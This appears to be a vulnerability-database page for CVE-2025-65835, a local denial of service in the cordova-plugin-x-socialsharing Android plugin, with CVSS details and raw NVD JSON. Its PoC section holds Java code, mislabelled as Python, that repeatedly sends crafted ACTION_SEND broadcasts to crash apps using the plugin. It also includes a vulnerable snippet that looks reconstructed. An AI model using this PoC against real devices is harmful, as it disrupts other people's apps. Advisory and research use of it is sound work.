Security Vulnerability Report
中文
CVE-2025-65835 CVSS 6.2 MEDIUM

CVE-2025-65835

Published: 2025-12-15 19:16:05
Last Modified: 2026-01-07 20:57:23

Description

The Cordova plugin cordova-plugin-x-socialsharing (SocialSharing-PhoneGap-Plugin) for Android 6.0.4, registers an exported broadcast receiver nl.xservices.plugins.ShareChooserPendingIntent with an android.intent.action.SEND intent filter. The onReceive implementation accesses Intent.EXTRA_CHOSEN_COMPONENT without checking for null. If a broadcast is sent with extras present but without EXTRA_CHOSEN_COMPONENT, the code dereferences a null value and throws a NullPointerException. Because the receiver is exported and performs no permission or caller validation, any local application on the device can send crafted ACTION_SEND broadcasts to this component and repeatedly crash the host application, resulting in a local, unauthenticated application-level denial of service for any app that includes the plugin.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:eddyverbruggen:cordova_social_sharing:6.0.4:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE
cordova-plugin-x-socialsharing Android 6.0.4
SocialSharing-PhoneGap-Plugin (所有使用导出接收器的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-65835 PoC - Local DoS via Exported Broadcast Receiver // This PoC demonstrates how any local app can crash apps using cordova-plugin-x-socialsharing public class ExploitActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Construct a malicious ACTION_SEND intent without EXTRA_CHOSEN_COMPONENT Intent maliciousIntent = new Intent(); maliciousIntent.setAction("android.intent.action.SEND"); maliciousIntent.setType("text/plain"); // Add extras but intentionally omit EXTRA_CHOSEN_COMPONENT // This will cause NullPointerException in the vulnerable receiver maliciousIntent.putExtra(Intent.EXTRA_TEXT, "Malicious payload"); maliciousIntent.putExtra("fake_extra", "trigger_crash"); // Send broadcast - no permission required since receiver is exported sendBroadcast(maliciousIntent); // Optional: Repeat to ensure persistent crash new Handler().postDelayed(() -> { for (int i = 0; i < 10; i++) { sendBroadcast(maliciousIntent); } }, 1000); Log.d("Exploit", "Malicious broadcast sent to trigger DoS"); } } // Alternative: BroadcastReceiver implementation for repeated attacks // Can be embedded in a malicious app's background service // Vulnerable code snippet (from plugin): /* public void onReceive(Context context, Intent intent) { if (Intent.ACTION_SEND.equals(intent.getAction())) { // VULNERABLE: No null check for EXTRA_CHOSEN_COMPONENT Parcelable chosenComponent = intent.getParcelableExtra(EXTRA_CHOSEN_COMPONENT); // This will crash if chosenComponent is null and used directly ComponentName component = (ComponentName) chosenComponent; // ... subsequent code accessing 'component' will throw NPE } } */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65835", "sourceIdentifier": "[email protected]", "published": "2025-12-15T19:16:05.373", "lastModified": "2026-01-07T20:57:22.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Cordova plugin cordova-plugin-x-socialsharing (SocialSharing-PhoneGap-Plugin) for Android 6.0.4, registers an exported broadcast receiver nl.xservices.plugins.ShareChooserPendingIntent with an android.intent.action.SEND intent filter. The onReceive implementation accesses Intent.EXTRA_CHOSEN_COMPONENT without checking for null. If a broadcast is sent with extras present but without EXTRA_CHOSEN_COMPONENT, the code dereferences a null value and throws a NullPointerException. Because the receiver is exported and performs no permission or caller validation, any local application on the device can send crafted ACTION_SEND broadcasts to this component and repeatedly crash the host application, resulting in a local, unauthenticated application-level denial of service for any app that includes the plugin."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eddyverbruggen:cordova_social_sharing:6.0.4:*:*:*:*:node.js:*:*", "matchCriteriaId": "E9AFDF18-185E-46EE-BEAA-5C749B232508"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://github.com/EddyVerbruggen/SocialSharing-PhoneGap-Plugin", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://medium.com/@lcrawfqrd/local-dos-via-exported-receivers-f6b1da10d3b7", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.npmjs.com/package/cordova-plugin-x-socialsharing", "source": "[email protected]", "tags": ["Product"]}]}}